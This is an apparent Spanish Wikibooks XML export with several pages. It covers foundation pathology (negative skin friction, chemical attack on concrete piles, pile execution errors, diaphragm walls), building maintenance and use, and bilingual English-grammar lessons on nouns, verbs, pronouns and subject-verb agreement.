
: [[Imagen:2.1b.jpg]]


===DAÑOS PROVOCADOS POR RELLENOS===

: Los materiales de relleno pueden ser origen de 2 clases de daños:
: ▫	Si son utilizados como terreno de cimentación, constituyen una '''capa de suelo heterogénea y compresible'''.
: ▫	Si funcionan como aporte, producen una '''sobrecarga''' en el terreno natural en razón de su propio peso.


====''Efectos indirectos del asentamiento provocados por el material de relleno: Rozamiento negativo''====

: [[Imagen:2.2a.jpg]]

: La capacidad portante del '''pilote columna''' procede fundamentalmente del '''efecto punta''', siendo necesario atravesar varias capas inconsistentes hasta alcanzar aquella con capacidad portante suficiente para transmitirle la carga. Si los terrenos que hay por encima de esa capa resistente son rellenos de gran espesor, el asiento del relleno y de la capa blanda no consolidada dan lugar a esfuerzos de rozamiento en el fuste cuya resultante posee una componente vertical en dirección descendente. Esta componente es el '''rozamiento negativo''', que se suma a la carga propia del pilote.

: Cuando la capa en que se ancla el pilote es suficientemente compacta y gruesa, el rozamiento negativo no tiene otro efecto que la reducción del coeficiente de seguridad, sin que se produzcan asientos apreciables. 

: Por el contrario, si el lecho compacto no presenta bastante espesor y se extiende sobre lechos compresibles (pilote B), la sobrecarga de los pilotes debida al rozamiento negativo y añadida al peso propio del relleno, es capaz de provocar el descenso del banco resistente o la rotura de los pilotes fruto del fluir de las capas inferiores.

: De tratarse de un '''pilote flotante''', es decir, si su capacidad portante proviene del '''rozamiento lateral''' (pilote A), los efectos del rozamiento negativos pueden determinar asientos excesivos y una reducción inaceptable del coeficiente de seguridad.

: [[Imagen:2.2aa.jpg]]


====''Influencia del desplazamiento de suelos por la acción del relleno sobre cimentaciones profundas: Empujes laterales''====

: Es un fenómeno poco conocido pero que, sin embargo, genera importantes perturbaciones. Se produce al '''aportar material de vertedero''' alrededor de un edificio cimentado en pilotes verticales.

: Si el volumen de relleno es importante y, en particular, si se emplea de manera permanente como zona de almacenaje de elementos pesados (depósitos, aparcamientos…) se establece una '''asimetría de cargas que crea la fluencia lateral de las capas inconsistentes''' (limo blando, arcilla con alto contenido de agua…) atravesadas por el pilotaje, de la que resultan esfuerzos laterales que actúan en los fustes de los pilotes, deformándolos he incluso rompiéndolos.

: El problema no es el pandeo de los pilotes (por ser el empuje del terreno en los fustes superior a la resistencia de las tierras que los envuelven), sino la '''deformación de dichos pilotes a causa del desplazamiento lateral del suelo'''. En esta clase de movimientos, el pilote es solidario con las tierras que lo rodean.

: [[Imagen:2.2b.jpg]]


===ATAQUE DE CIMENTACIONES DE HORMIGÓN POR EL MEDIO CIRCUNDANTE===

: El hormigón se descompone por la acción de numerosos '''productos contenidos en las tierras o disueltos en las aguas'''.

: Es imprescindible el análisis del terreno y de las aguas, para poder establecer la clase de '''áridos y aditivos''' a utilizar en la fabricación de un pilote de hormigón.

: La elección de un cemento apto no dispensa de conseguir un hormigón tan '''compacto''' como sea posible con alta dosificación de cemento. Cuanto menos poroso sea el hormigón, más superficial será la agresión.


====''Ataque a componentes granulares''====

: Los '''sumideros o pozos negros''' donde se almacenan aguas residuales (cargadas de sustancias químicas en disolución) pueden sufrir problemas de '''filtraciones'''. Con el tiempo, dichas aguas se irán extendiendo por las capas permeables del terreno y terminarán por atacar a los pilotes. 

: En la primera etapa de este proceso, se destruye por completo el hormigón dejando intactas las armaduras que, finalmente, son incapaces de soportar solas el peso de la construcción y acaban por doblarse, provocando un importante '''asiento'''.

: [[Imagen:2.3a.jpg]]


====''Ataque del cemento por aguas que circulan en distintos suelos naturales''====

: Entre las aguas agresivas se encuentran:
: ▫	Aguas '''químicamente puras''', que disuelven la cal del cemento reduciendo la compacidad y, por tanto, la resistencia.
: ▫	Aguas que hayan circulado por suelos que contengan '''sulfatos''': sulfato de cal o de yeso o sulfato magnésico. Las primeras se combinan con uno de los componentes del clinker (con el aluminato tricálcico formando sal de Candlot o etringita) sustancia tremendamente expansiva. La formación de esta sal en el hormigón provoca tales tensiones que determina su rotura.
: ▫	Aguas que hayan circulado por suelos que contengan '''cloruros''' y las aguas de mar
: ▫	Aguas '''ácidas naturales''': aguas que contengan ácidos húmicos o aguas con ácido carbónico en disolución

===ERRORES DE EJECUCIÓN EN CIMENTACIONES PROFUNDAS===


====''Incidencias del hormigonado en seco''====

: En la ejecución de un pilote de tubo hincado y recuperable, cuando el tubo alcanza la capa resistente y penetra la longitud de anclaje adecuada, se llena progresivamente de hormigón por capas de 20 a 50 cm que se compactan. El tubo se iza poco a poco con objeto de asegurar la presencia de una altura suficiente de hormigón en el mismo (altura de hormigonado &gt; 1 diámetro del tubo) para que su interior no quede nunca abierto y penetre el agua, o la tierra se desmorone.

: Si no se toma esta precaución, se corre el riesgo de tener '''bolsas de tierra en el pilote''', '''hormigón con exceso de agua''' por entrada de éstas en el tubo.

: El uso de un hormigón demasiado seco y la extracción brusca del tubo pueden producir importantes daños en el pilote, como '''discontinuidad en el fuste o cavidades en el hormigón'''.

: [[Imagen:2.4a.jpg]]


====''Incidencias del hormigonado bajo lodo de perforación''====

: La técnica de la perforación en lodo consiste en que la tierra se mantiene a lo largo de las paredes de la perforación no gracias al tubo, sino a la aplicación de un líquido tixotrópico (densidad entre 1,05 y 1,2) obtenido al dispensar bentonita en el agua.

: La mayoría de los accidentes están causados por '''equivocar la viscosidad del lodo'''. Por debajo del límite inferior, el lodo no es apto para desarrollar su labor de contención provisional; por encima de cierta densidad, será excesivamente rígido, no ascenderá a medida que progrese el hormigonado y existe el peligro de que se formen '''bolsas de lodo''' y, por consiguiente, '''discontinuidades en el hormigonado'''.


====''Efecto sobre un pilote del hincado de otro pilote próximo''====

: Este hecho puede darse en '''suelos relativamente plásticos y saturados''', donde el hincado genera un '''movimiento ascendente''' análogo al que produce la caída de un cuerpo en el agua.

: La elevación del terreno donde se hincan los pilotes puede:
: ▫	'''levantar el pilote''' en su totalidad si éste tiene suficiente resistencia (pilote prefabricado o pilote armado, moldeado y ya endurecido)
: ▫	'''provocar el estiramiento y la rotura de la columna de hormigón''' si estuviera fresco.

: [[Imagen:2.4c.jpg]]


====''Estrechamiento de la sección al aumentar la profundidad''====

: Esta lesión afecta preferentemente a los pilotes en que el hormigonado se hace dentro de una “camisa” de hormigón dilatado con presión contra el terreno. 

: Debido a que las capas del terreno a atravesar presentan resistencia a esta dilatación, no se puede confiar en la constancia de la sección del pilote así realizado.

: [[Imagen:2.4d.jpg]]

==LESIONES EN PANTALLAS==

: Las pantallas son estructuras de '''sostenimiento del terreno''', caracterizadas por su '''flexibilidad y esbeltez'''.

: Al contrario que los muros de cimentación, se construyen previamente a la extracción del terreno pero, no comienzan a trabajar hasta que no se produce la excavación. Funcionan como elementos '''en voladizo''', confiando su estabilidad a la '''longitud de empotramiento''' (relación entre empuje activo y pasivo).

: [[Imagen:3.0.jpg]]

===Deformación de la pantalla debido al empuje de tierras y aguas===

: El problema más frecuente de las pantallas, aparece cuando se ubica una carga (rellenos, maquinaria, materiales de construcción) en la parte superior de la excavación, ya que, se crea un '''empuje lateral que deforma la pantalla en su punto más inestable'''. 

: [[Imagen:3.a.jpg]]

===Incidencias varias===
: La utilización de pantallas en excavaciones, unido a la existencia de un '''nivel freático alto''', provoca una serie de lesiones a tener en cuenta como:

: ▫	Fuerzas de filtración originadas por corrientes de agua que circulan por debajo de la pantalla hacia el fondo de la excavación 
: ▫	Levantamiento de dicho fondo por el empuje de aguas

: [[Imagen:3.b.jpg]]

{{AutoCat}}</text>
      <sha1>2wv4722jlx1zqqv2oe2vgms26cc1eb4</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De mantenimiento y uso</title>
    <ns>0</ns>
    <id>14207</id>
    <revision>
      <id>430133</id>
      <parentid>123844</parentid>
      <timestamp>2026-08-02T11:45:46Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430133</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1182" sha1="r8l86poszcmo2nxpjez7ezkvwj1hn2k" xml:space="preserve">Conjunto de causas indirectas inherentes al uso del edificio, bien porque éste sea incorrecto y por tanto se le someta a una serie de acciones para las que no estaba diseñado, bien porque no se le aplica un mantenimiento periódico en las unidades constructivas que así lo requieran. En este sentido son muy corrientes los fallos estructurales de edificios diseñados para uso residencial, pero utilizados para oficina o comercio. También es corriente el fallo de elementos de instalaciones por falta del adecuado mantenimiento, o la aparición de corrosiones en elementos metálicos de fachada por falta de limpieza y pintura, o simplemente, el ensuciamiento de fachadas urbanas por ausencia de limpiezas periódicas. En este sentido, es importante el papel que juega el usuario y por tanto, la necesidad de su mentalización en el sentido de que un edificio es, cada vez más, un objeto con una vida útil determinada, que requiere de una atención más o menos periódica, y de un correcto uso, para obtener de él una respuesta correcta (integridad, aspecto) durante el máximo de tiempo de su vida, siempre que estemos en un equilibrio de rentabilidad del uso.

{{AutoCat}}</text>
      <sha1>r8l86poszcmo2nxpjez7ezkvwj1hn2k</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Sustantivos</title>
    <ns>0</ns>
    <id>14307</id>
    <revision>
      <id>429829</id>
      <parentid>164714</parentid>
      <timestamp>2026-08-01T22:02:25Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429829</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2491" sha1="kt7vytzbqcvkilrc7ctsus9h572we5p" xml:space="preserve">{{NavegaciónInglés|ancho=50%|fondo=#EAF4FF|actual=Nouns - Sustantivos|anterior=Sonidos|anombre=Sounds - Sonidos|siguiente=Verbos|snombre=Verbs - Verbos}}


----


{{Ingléstitulo|title=Introduction - Introducción}}


{{Ingléscolumnas|inglés=In this section, you will learn a few important facts about nouns. Later, in lesson 5, you will learn more about nouns--This is just an overview of the subject.

|español=En esta sección, aprenderás cuales son algunos hechos importantes acerca de un sustantivo. Posteriormente, en la lección 5, aprenderás más acerca de los sustantivos, puesto que lo que aquí se presenta es solo una revisión de la materia.}}


{{Ingléstitulo|title=Nouns - Sustantivos}}


{{Ingléscolumnas|inglés=Nouns are words, or a part of a speech (the type of a word) which names a person, an idea, a place, a thing, or an action (the gerund of a verb). In general, nouns are used as subjects, objects of a verb or as the object of a preposition. 
'''Examples: house, dog, person, child, girl, people, thing, learning, listening, sight, etc.'''

'''Topics about nouns, which will be discussed in lesson 5 include:'''

*'''The usage of appropriate articles for nouns.'''
*'''The correct spelling for the plural forms of nouns, including, irregular plural nouns, whose plural form does not follow the general rule of ending in -s or -es.'''
*'''The possessive case of a noun: the addition of 's and the ''of phrases''.'''


|español=Los sustantivos (nouns) son la parte de una oración o un discurso que nombra algo. Puede ser una persona, un objeto, un lugar una cosa o una acción. Generalmente, los sustantivos son usados como el sujeto u objeto de un verbo o como el objeto de una preposición. Ejemplos: ''house'', ''dog'', ''person'', ''child'', ''girl'', ''people'', ''thing'', ''learning'', ''listening'', ''sight'', etc.

Cosas importantes, que serán discutidas a fondo en la Lección 5,  que debes saber a cerca de los sustantivos, son las siguientes:

*El uso apropiado del artículo para el sustantivo
*La escritura correcta de el plural de un sustantivo, pues existen sustantivos cuya forma plural no cumple con la regla de las terminaciones -s, -es.
*El caso posesivo de un sustantivo:la adición de 's y las ''of phrases''.}}


----


{{NavegaciónInglés|ancho=50%|fondo=#EAF4FF|actual=Nouns - Sustantivos|anterior=Sonidos|anombre=Sounds - Sonidos|siguiente=Verbos|snombre=Verbs - Verbos}}


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>kt7vytzbqcvkilrc7ctsus9h572we5p</sha1>
    </revision>
    <revision>
      <id>429924</id>
      <parentid>429829</parentid>
      <timestamp>2026-08-01T22:09:16Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429924</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2451" sha1="c8o9w4w3wfp76ltpro6opv7lk98ubtl" xml:space="preserve">{{NavegaciónInglés|ancho=50%|fondo=#EAF4FF|actual=Nouns - Sustantivos|anterior=Sonidos|anombre=Sounds - Sonidos|siguiente=Verbos|snombre=Verbs - Verbos}}


----


{{Ingléstitulo|title=Introduction - Introducción}}


{{Ingléscolumnas|inglés=In this section, you will learn a few important facts about nouns. Later, in lesson 5, you will learn more about nouns--This is just an overview of the subject.

|español=En esta sección, aprenderás cuales son algunos hechos importantes acerca de un sustantivo. Posteriormente, en la lección 5, aprenderás más acerca de los sustantivos, puesto que lo que aquí se presenta es solo una revisión de la materia.}}


{{Ingléstitulo|title=Nouns - Sustantivos}}


{{Ingléscolumnas|inglés=Nouns are words, or a part of a speech (the type of a word) which names a person, an idea, a place, a thing, or an action (the gerund of a verb). In general, nouns are used as subjects, objects of a verb or as the object of a preposition. 
'''Examples: house, dog, person, child, girl, people, thing, learning, listening, sight, etc.'''

'''Topics about nouns, which will be discussed in lesson 5 include:'''

*'''The usage of appropriate articles for nouns.'''
*'''The correct spelling for the plural forms of nouns, including, irregular plural nouns, whose plural form does not follow the general rule of ending in -s or -es.'''
*'''The possessive case of a noun: the addition of 's and the ''of phrases''.'''


|español=Los sustantivos (nouns) son la parte de una oración o un discurso que nombra algo. Puede ser una persona, un objeto, un lugar una cosa o una acción. Generalmente, los sustantivos son usados como el sujeto u objeto de un verbo o como el objeto de una preposición. Ejemplos: ''house'', ''dog'', ''person'', ''child'', ''girl'', ''people'', ''thing'', ''learning'', ''listening'', ''sight'', etc.

Cosas importantes, que serán discutidas a fondo en la Lección 5,  que debes saber a cerca de los sustantivos, son las siguientes:

*El uso apropiado del artículo para el sustantivo
*La escritura correcta de el plural de un sustantivo, pues existen sustantivos cuya forma plural no cumple con la regla de las terminaciones -s, -es.
*El caso posesivo de un sustantivo:la adición de 's y las ''of phrases''.}}


----


{{NavegaciónInglés|ancho=50%|fondo=#EAF4FF|actual=Nouns - Sustantivos|anterior=Sonidos|anombre=Sounds - Sonidos|siguiente=Verbos|snombre=Verbs - Verbos}}


{{AutoCat}}</text>
      <sha1>c8o9w4w3wfp76ltpro6opv7lk98ubtl</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Verbos</title>
    <ns>0</ns>
    <id>14308</id>
    <revision>
      <id>429814</id>
      <parentid>164715</parentid>
      <timestamp>2026-08-01T22:00:53Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429814</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2944" sha1="cw1gw9lizrs4xhxgdb9jjp6j12l0czu" xml:space="preserve">{{NavegaciónInglés|ancho=75%|fondo=#EAF4FF|colancho1=50%|colancho2=50%|actual=Verbs - Verbos|anterior=Sustantivos|anombre=Nouns - Sustantivos|siguiente=Sujetos y objetos|snombre=Subjects and Objects - Sujetos y objetos}}


----


{{Ingléstitulo|title=Verbs - Verbos}}

{{Ingléscolumnas|inglés=In English, as in most languages, a verb is a part of speech which expresses an action. The following examples are verbs in their respective infinitive forms:


*'''to walk''' (caminar)
*'''to talk''' (hablar)
*'''to come''' (venir)
*'''to live''' (vivir)
*'''to eat''' (comer)
*'''to run''' (correr)

|español=En inglés, como en la mayoría de los idiomas, los verbos son la parte de la oración que expresa una acción. Los siguientes son todos ejemplos de verbos en su forma infinitiva:


*'''to walk''' (caminar)
*'''to talk''' (hablar)
*'''to come''' (venir)
*'''to live''' (vivir)
*'''to eat''' (comer)
*'''to run''' (correr)}}


{{Ingléscolumnas|inglés=Notice that all of the verbs above are preceded by the word ''to''. In its infinitive form, a verb is said to be unlimited--It does not specify any verb tense outside of the infinitive, and it has not been adapted to agree with any subject. In this book, we will often use the infinitive form of a verb as the basis for introducing all verb tenses. For example, we can adapt, or, to be more precise, conjugate, the verb ''to walk'' in order to make it agree with an arbitrary subject ''she''.  By dropping the word &quot;to&quot; and adding an 's' to the stem ''walk'', we get ''she walks''. Of course, the infinitive form of a verb has many other uses, which will be discussed in depth later on.

'''English verbs suffer changes (inflections) depending of the person, number, tense and mode.''' 

|español=Nótese que todos los verbos de arriba tienen al principio la palabra ''to'' por que se encuentran en su forma infinitivo.  Cuando está en su forma infinitivo, un verbo se dice estar ilimitado, es decir, no esta limitado o especificado por ningún tiempo verbal, y no está adaptado para acordar con ningún sujeto. Frecuentemente usaremos en este libro el infinitivo de un verbo como una base a partir de la cual se presenta toda la flexión del verbo para diferentes propósitos. Así, por ejemplo, flexionamos el verbo ''to walk'' (caminar) para hacerlo acordar con el pronombre ''she'' (ella). Entonces tenemos ''she walks'' (ella camina). Por supuesto, la forma infinitivo de un verbo tiene muchos otros usos, los cuales serán tratados en lecciones posteriores.

Los verbos en inglés experimentan diferentes cambios (flexiones) dependiendo de la persona, el número, el tiempo y el modo.}}


----


{{NavegaciónInglés|ancho=75%|fondo=#EAF4FF|colancho1=50%|colancho2=50%|actual=Verbs - Verbos|anterior=Sustantivos|anombre=Nouns - Sustantivos|siguiente=Sujetos y objetos|snombre=Subjects and Objects - Sujetos y objetos}}


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>cw1gw9lizrs4xhxgdb9jjp6j12l0czu</sha1>
    </revision>
    <revision>
      <id>429919</id>
      <parentid>429814</parentid>
      <timestamp>2026-08-01T22:09:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429919</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2904" sha1="bat4t2js9fxv8q8hoe53xek0vwwmscn" xml:space="preserve">{{NavegaciónInglés|ancho=75%|fondo=#EAF4FF|colancho1=50%|colancho2=50%|actual=Verbs - Verbos|anterior=Sustantivos|anombre=Nouns - Sustantivos|siguiente=Sujetos y objetos|snombre=Subjects and Objects - Sujetos y objetos}}


----


{{Ingléstitulo|title=Verbs - Verbos}}

{{Ingléscolumnas|inglés=In English, as in most languages, a verb is a part of speech which expresses an action. The following examples are verbs in their respective infinitive forms:


*'''to walk''' (caminar)
*'''to talk''' (hablar)
*'''to come''' (venir)
*'''to live''' (vivir)
*'''to eat''' (comer)
*'''to run''' (correr)

|español=En inglés, como en la mayoría de los idiomas, los verbos son la parte de la oración que expresa una acción. Los siguientes son todos ejemplos de verbos en su forma infinitiva:


*'''to walk''' (caminar)
*'''to talk''' (hablar)
*'''to come''' (venir)
*'''to live''' (vivir)
*'''to eat''' (comer)
*'''to run''' (correr)}}


{{Ingléscolumnas|inglés=Notice that all of the verbs above are preceded by the word ''to''. In its infinitive form, a verb is said to be unlimited--It does not specify any verb tense outside of the infinitive, and it has not been adapted to agree with any subject. In this book, we will often use the infinitive form of a verb as the basis for introducing all verb tenses. For example, we can adapt, or, to be more precise, conjugate, the verb ''to walk'' in order to make it agree with an arbitrary subject ''she''.  By dropping the word &quot;to&quot; and adding an 's' to the stem ''walk'', we get ''she walks''. Of course, the infinitive form of a verb has many other uses, which will be discussed in depth later on.

'''English verbs suffer changes (inflections) depending of the person, number, tense and mode.''' 

|español=Nótese que todos los verbos de arriba tienen al principio la palabra ''to'' por que se encuentran en su forma infinitivo.  Cuando está en su forma infinitivo, un verbo se dice estar ilimitado, es decir, no esta limitado o especificado por ningún tiempo verbal, y no está adaptado para acordar con ningún sujeto. Frecuentemente usaremos en este libro el infinitivo de un verbo como una base a partir de la cual se presenta toda la flexión del verbo para diferentes propósitos. Así, por ejemplo, flexionamos el verbo ''to walk'' (caminar) para hacerlo acordar con el pronombre ''she'' (ella). Entonces tenemos ''she walks'' (ella camina). Por supuesto, la forma infinitivo de un verbo tiene muchos otros usos, los cuales serán tratados en lecciones posteriores.

Los verbos en inglés experimentan diferentes cambios (flexiones) dependiendo de la persona, el número, el tiempo y el modo.}}


----


{{NavegaciónInglés|ancho=75%|fondo=#EAF4FF|colancho1=50%|colancho2=50%|actual=Verbs - Verbos|anterior=Sustantivos|anombre=Nouns - Sustantivos|siguiente=Sujetos y objetos|snombre=Subjects and Objects - Sujetos y objetos}}


{{AutoCat}}</text>
      <sha1>bat4t2js9fxv8q8hoe53xek0vwwmscn</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Pronombres personales sujetos</title>
    <ns>0</ns>
    <id>14309</id>
    <revision>
      <id>429824</id>
      <parentid>393860</parentid>
      <timestamp>2026-08-01T22:02:03Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429824</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5484" sha1="ejfi4ly2h9ovaimxfb7y2xhrl3yijp4" xml:space="preserve">{{+ÍndiceSección}}

{| width=&quot;750&quot; border=&quot;0&quot;
|-
| width=&quot;340&quot; valign=&quot;top&quot; | &lt;p&gt;'''A pronoun is a word used in the place of a noun. For example, in the expression'''&lt;/p&gt;
| width=&quot;350&quot; valign=&quot;top&quot; | &lt;p&gt;Un pronombre es una palabra usada en lugar de un sustantivo. Por ejemplo, en la expresión&lt;/p&gt;
|}


&lt;center&gt;'''The &lt;u&gt;dog&lt;/u&gt; is sick. &lt;u&gt;It&lt;/u&gt; looks sad.''' (El perro está enfermo. (Él) Parece triste.)&lt;/center&gt;


{| width=&quot;750&quot; border=&quot;0&quot;
|-
| width=&quot;340&quot; valign=&quot;top&quot; | &lt;p&gt;''' ''dog'' is a noun in the first sentence. After the period, ''it'' is a pronoun that stands for the noun ''dog'', so it is understood that ''it'' refers to the ''dog''. In general, the noun which the pronoun refers to is called the ''antecedent''. Thus, in the example given above, ''dog'' is the antecedent of the pronoun ''it''. There are other pronouns that stand for different types of nouns. Let us see the personal subject pronouns, which are given in the following chart: '''&lt;/p&gt;
| width=&quot;350&quot; valign=&quot;top&quot; | &lt;p&gt;''dog'' es un sustantivo en la primera oración. Después del punto, ''it'' es un pronombre que representa al sustantivo ''dog'', de modo que se entiende que ''it'' se refiere al perro. En general, el sustantivo al cual se refiere el pronombre es llamado el ''antecedente''. Así, en el ejemplo dado arriba, ''dog'' es el antecedente del pronombre ''it''. Existen otros pronombres que reemplazan diferentes tipos de sustantivos. Veamos los pronombres personales sujetos, que aparecen en la tabla siguiente&lt;/p&gt;
|}

{|width=&quot;80%&quot; {{Ingléstabla}}
|
|'''Subject Pronoun'''
|'''Equivalente en español'''
|-
|Singlular
|valign=&quot;top&quot; |I

you

he

she

it
|yo

tú

él

ella

(No tiene equivalente exacto en español. Este pronombre reemplaza por lo regular cosas, animales, al clima o al tiempo)
|-
|Plural
|valign=&quot;top&quot; |we

you

they
|valign=&quot;top&quot; |nosotros

ustedes

ellos
|}

* '''Notice that the pronoun ''I'' is always capitalized, no matter its position in the sentence.'''

* Nótese que el pronombre ''I'' se escribe simpre en mayúsculas, sin importar su posición en la oración.


{| width=&quot;750&quot; border=&quot;0&quot;
|-
| width=&quot;340&quot; valign=&quot;top&quot; | &lt;p&gt;'''In particular, subject pronouns stand for the subject in a sentence. In the expressions '''&lt;/p&gt;
| width=&quot;350&quot; valign=&quot;top&quot; | &lt;p&gt;En particular, los pronombres sujetos reemplazan el sujeto en una oración. En las expresiones&lt;/p&gt;
|}


&lt;center&gt;'''The &lt;u&gt;sky&lt;/u&gt; is huge. &lt;u&gt;It&lt;/u&gt; makes me feel small.''' (El cielo es enorme. (Él) Me hace sentir pequeño.)

'''The &lt;u&gt;girl&lt;/u&gt; next to me is pretty. &lt;u&gt;She&lt;/u&gt; is young.''' (La chica a mi lado es bonita. Ella es joven.)

'''&lt;u&gt;People&lt;/u&gt; usually don’t like snakes. &lt;u&gt;They&lt;/u&gt; prefer dogs.''' (A las personas usualmente no le gustán las serpientes. (Ellos) Prefieren a los perros)&lt;/center&gt;


{| width=&quot;750&quot; border=&quot;0&quot;
|-
| width=&quot;340&quot; valign=&quot;top&quot; | &lt;p&gt;'''the pronouns (which stand for the nouns ''sky'', ''girl'' and ''people'') ''it'', ''she'' and ''they'' are working as subjects in the sentences ''It makes me feel small'', ''She is vary young'', and ''They prefer dogs''. Not always the antecedent is given explicitly in an expression, but may be easily understood because of the type of the pronoun. For example, in the expression '''&lt;/p&gt;
| width=&quot;350&quot; valign=&quot;top&quot; | &lt;p&gt;los pronombres (que reemplazan los sustantivos ''sky'', ''girl'' y ''people'') ''it'', ''she'', ''they'', están funcionando como sujetos en las oraciones ''It makes me fell small'', ''She is very young'' y ''They prefer dogs''. No siempre el antecedente se da de forma explicita en una expresión, pero puede ser fácilmente entendido debido al tipo de pronombre. Por ejemplo, en la expresión&lt;/p&gt;
|}


&lt;center&gt;'''&lt;u&gt;I&lt;/u&gt; think English is not too hard.''' (Yo pienso que el inglés no es demasiado difícil) &lt;/center&gt;


{| width=&quot;750&quot; border=&quot;0&quot;
|-
| width=&quot;340&quot; valign=&quot;top&quot; | &lt;p&gt;'''it is clear that the pronoun ''I'' refers to the person who is talking. If we say '''&lt;/p&gt;
| width=&quot;350&quot; valign=&quot;top&quot; | &lt;p&gt;es claro que el pronombre ''I'' se refiere a la persona que está hablando. Si decimos&lt;/p&gt;
|}


&lt;center&gt;'''&lt;u&gt;You&lt;/u&gt; think English is not too hard.''' (Tú piensas que el inglés no es demasiado difícil)&lt;/center&gt;


{| width=&quot;750&quot; border=&quot;0&quot;
|-
| width=&quot;340&quot; valign=&quot;top&quot; | &lt;p&gt;'''it is plain to see that the pronoun ''you'' refers to the person we are talking to. The pronoun ''it'' can also refers to inferable nouns, as in the expression'''&lt;/p&gt;
| width=&quot;350&quot; valign=&quot;top&quot; | &lt;p&gt;es fácil ver que que el pronombre ''you'' se refiere a la persona a quien se habla. El pronombre ''it'' puede también referirse a sustantivos inferibles, como en la expresión&lt;/p&gt;
|}


&lt;center&gt;'''&lt;u&gt;It&lt;/u&gt; is cold. We better wear a coat.''' (Está frio. Mejor nos ponemos un abrigo) &lt;/center&gt;


{| width=&quot;750&quot; border=&quot;0&quot;
|-
| width=&quot;340&quot; valign=&quot;top&quot; | &lt;p&gt;'''or in'''&lt;/p&gt;
| width=&quot;350&quot; valign=&quot;top&quot; | &lt;p&gt;o en&lt;/p&gt;
|}


&lt;center&gt;'''&lt;u&gt;It&lt;/u&gt; is early.''' (Es temprano.) &lt;/center&gt;


{| width=&quot;750&quot; border=&quot;0&quot;
|-
| width=&quot;340&quot; valign=&quot;top&quot; | &lt;p&gt;'''where ''It'' refers to weather and time respectively.'''&lt;/p&gt;
| width=&quot;350&quot; valign=&quot;top&quot; | &lt;p&gt;donde ''it'' se refiere al clima y al tiempo respectivamente.&lt;/p&gt;
|}


----


{{NavegaciónInglés|ancho=70%|fondo=#EAF4FF|actual=Personal Subject Pronoun - Pronombres personales sujetos|anterior=Preposiciones|anombre=Prepositions - Preposiciones|siguiente=El tiempo presente|snombre=Simple Present - Presente simple}}
&lt;noinclude&gt;{{Inglés}}&lt;/noinclude&gt;

{{AutoCat}}</text>
      <sha1>ejfi4ly2h9ovaimxfb7y2xhrl3yijp4</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Acuerdo sujeto-verbo</title>
    <ns>0</ns>
    <id>14312</id>
    <revision>
      <id>429792</id>
      <parentid>352556</parentid>
      <timestamp>2026-08-01T21:58:52Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429792</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2540" sha1="esw8zsglnls6gp3e5mjegt9pp3o1xew" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
{{Ingléstitulo|title=Subject-verb agreement / Acuerdo sujeto-verbo}}
{{Ingléscolumnas
|inglés=One of the English verb inflections is used to make the verb agree with the subject. The ''subject-verb'' agreement is very easy to learn since there is only change in the verb to agree with certain subjects:

*If the subject is a singular noun or a third person singular pronoun, ''–s'' or ''–es'' is added at the end of the simple present verb.

| español=Una de las flexiones de los verbos en inglés es usada para hacer que el verbo concuerde con el sujeto. El acuerdo sujeto-verbo es muy fácil de entender puesto que solo hay un único cambio que la mayoría de los verbos experimentan para concordar con ciertos sujetos.

*Si el sujeto es un sustantivo singular o un pronombre de tercera persona singular, se añade ''-s'' o ''–es'' al final del verbo en tiempo presente simple. 
}}

{| align=center
|'''Examples - Ejemplos:'''

#'''''The dog bark&lt;u&gt;s&lt;/u&gt;''.''' (El perro ladra.)
#'''''My mom cook&lt;u&gt;s&lt;/u&gt;''. ''She enjoy&lt;u&gt;s&lt;/u&gt;'' doing it.''' (Mi mamá cocina. Ella disfruta hacerlo)
#'''''The kid play&lt;u&gt;s&lt;/u&gt;''. ''He enjoy&lt;u&gt;s&lt;/u&gt;'' his Christmas gift.''' (El niño juega. Él disfruta su regalo de navidad.)
#'''''My sister wash&lt;u&gt;es&lt;/u&gt;'' the dishes.''' (Mi hermana lava los trastos.)
#'''''The baby cri&lt;u&gt;es&lt;/u&gt;''.''' (El bebé llora)
|}


{{Ingléscolumnas
|inglés=Note that in the three first examples, just a ''–s'' is added to the verb. On the other hand, in the fourth example, ''-es'' is added to the verb, and in the last example, the ''y'' in cry is replaced by ''i'' and then ''–es'' is added to form ''cries''. In general, the following rules apply:

*If the verb ends in ''-sh'', ''-ch'', ''-s'', ''-z'' and ''–x'', then ''-es'' is added.
